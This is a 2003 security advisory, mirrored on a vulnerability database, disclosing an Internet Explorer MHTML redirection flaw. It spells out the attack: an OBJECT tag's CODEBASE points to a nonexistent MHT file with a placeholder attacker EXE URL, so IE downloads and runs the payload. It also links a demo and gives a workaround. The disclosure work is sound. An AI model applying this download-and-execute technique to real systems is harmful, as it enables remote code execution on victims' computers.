Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
securityvulnsSecurityvulnsSECURITYVULNS:DOC:5459
HistoryNov 26, 2003 - 12:00 a.m.

MHTML Redirection Leads to Downloading EXE and Executing

2003-11-2600:00:00
vulners.com
7
JSON

MHTML Redirection Leads to Downloading EXE and Executing

[tested]
OS:Win2k3,CN version
IE: with MS03-048 installed.

OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

[overview]
A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security
zone(a.k.a local zone) is able to download his EXE file and execute it.

[demo]
There is a harmless demo:
http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLaunchInetExe-Demo.zip

[technical details]
There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT
file, like:
mhtml:[Mhtml_File_Url]![Original_Resource_Url]
If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download
[Original_Resource_Url] and return the downloaded content.

It's like as HTTP redirection.

And CODEBASE execution is a URL-based security check.
(Liu Die Yu's http://continue.to/trie )

So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to:
mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]
and then, IE will download [Attaker_PayloadEXE_Url] and execute it.

[Workaround]
Disable Active Scripting in INTERNET zone.

[Greetings]
greetings to:
Drew Copley, dror, guninski and mkill.

all mentioned resources can always be found at UMBRELLA.MX.TC

[people]
LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

[message]
A wise man learns from other's mistakes; a fool learns from his own.

[Employment]
I would like to work professionally as a security researcher/bug finder.

See my resume at my site. I am very eager to work, flexible, and
extremely productive. I have a top notch resume, with credentials
from leading bug finders. I am willing to work per contract, relocate,
or telecommute.

[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my security work

JSON